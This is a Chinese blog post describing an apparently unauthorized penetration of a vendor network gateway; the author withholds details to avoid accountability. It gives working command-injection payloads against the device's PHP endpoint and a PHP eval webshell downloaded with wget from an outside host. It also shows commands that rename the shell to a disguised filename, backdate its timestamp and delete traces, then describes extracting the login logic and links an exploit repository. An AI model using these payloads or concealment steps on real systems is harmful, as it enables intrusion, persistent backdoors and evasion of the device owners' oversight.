记录一次简单的渗透
前言
之前在网上偶然看到某网络设备大厂的网关被爆出漏洞,想起某个网络中这种网关很多,于是就有了本次渗透经历
避免被追责,很多信息不便泄漏。
1.设备发现
扫描发现,很多开启了80和443端口的IP,经过一一排查,最终锁定了这个ip地址
172.21.1.22: 80
web页面如下
2.漏洞利用
弱口令无果,开始查找该设备漏洞相关信息
在网上查到了相关漏洞细节如下
<?php
//查询用户是否上线了
$userip = @$_POST['ip'];
$usermac = @$_POST['mac'];
if (!$userip || !$usermac) {
exit;
}
/* 判断该用户是否已经放行 */
$cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
$res = exec($cmd, $out, $status);
/* 如果已经上线成功 */
if (strstr($out[0], "status:1")) {
echo 'true';
}
?>
这代码写得实在不想吐槽,就差直接写eval了,一句话都省得传了
没有任何过滤,直接构造post请求就可以执行任意命令
随后开始构造payload,可以看出没有任何过滤,不需要任何绕过
使用hackbar构造post请求
ip=127.0.0.1 | whoami > whoami.txt&mac=1
使用管道符执行多条命令,mac=1可以使if语句恒成立,ip是多少已经无所谓了,重要的是管道符后面的命令
访问whoami.txt文件,发现命令执行成功
随后用phpstudy搭建本地web环境,并且将一句话木马放在网站目录地下
<?php @eval($_POST['pass']) ?>
wget http://x.x.x.x/shell.txt
值得注意的是,这里尽量使用txt格式,使用php格式会被本地服务器解析,下载不了
当然,也可以传其他类型的一句话木马,这样不会被解析
之后再构造post请求,将木马改名
ip=127.0.0.1 | mv shell.txt guestIsOut.php | touch -t 202001061257 guestIsOut.php | rm whoami.txt &mac=1
mv 将木马改名为一个不易被发现的php文件,并且更改文件修改时间,删除刚才的测试文件
总的来说就是做伪装。
随后使用菜刀软件连接上去
连接成功,值得注意的是,如果该设备使用了https,菜刀记得忽略https证书
3.进一步深入
经过分析发现,该设备应该是一台嵌入式设备,passwd和shadow文件都为空,并且web页面也是直接由root去执行的。
随后猜测管理员可能会把很多设备的密码都设置成一样的,于是打算去破解web页面的密码。
查看登录页源码
这里的登录不是表单提交的,因此开始寻址这个按钮的点击事件
找到了如下js代码
function Login() {
}
Login.prototype = {
loginWeb :function() {
var that = this;
var username = $('#username');
var password = $('#password');
var usernameValue = $.trim(username.val());
var passwordValue = $.trim(password.val());
if(usernameValue === ""){
that.setTip("请输入用户名!","username");
return false;
}
if(passwordValue === ""){
that.setTip("请输入密码!","password");
return false;
}
var key = Base64.encode("user="+usernameValue+"&password="+passwordValue);
$("#login").attr("disabled",true);
$("#login").text("正在登录");
$.ajax({
dataType: 'json',
type: 'post',
async: false,
url: "/login.php",
data: {
"key":key
},
可以看出,将数据经过ajax请求提交给了后端验证
用菜刀下载login.php文件
发现该文件进行了部分简单的过滤,然后调用了webmaster这个二进制文件
$res = execCli("exec", "webmaster $username $password $hostip");
if ($res["status"] != 1) {
json_echo($res);
exit();
}
之后把webmaster下载下来,使用strings webmaster分析,该命令可以打印出二进制文件中可打印的字符串
acl_ip
nat_ip
pub_intf
nat_intf
/data/pubnet_config.json
/data/pubnet_config.json
jso fail
pacl
pacl fail
dacl
dacl fail
pnat
pnat fail
dnat
dnat fail
source_ip fail
acl_ip fail
nat_ip fail
pub_intf fail
nat_intf fail
type
type fail
mode
mode fail
no ip nat inside source list 1
no ip nat inside source list %u
no ip access-list standard %u
no ip nat pool %s
exit
10 permit any
以上是部分字符串,大概是一个路由器的配置、验证文件,猜测web端对路由器的控制都经过了webmaster,里面有很多路由器的配置命令,然后一一查看了webmaster所访问的文件,都没有什么收获,不过有意思的是,在查找的过程中,发现了/data/config.text这个文件,发现应该是路由器的全局配置文件,然后找到了如下命令
很明显,这个应该就是web页面密码的配置命令,这下得到了密码的密文,剩下的就是解密了。
可惜的是,该厂商使用了应该是思科password 7魔改以后的加密方式,网上并没有对应的破解方式,没办法暂时只能卡在这一步了
我编写了相关exp,项目地址:https://gitee.com/bllldd/python-tools/tree/master/exp/RG 请勿用于非法用途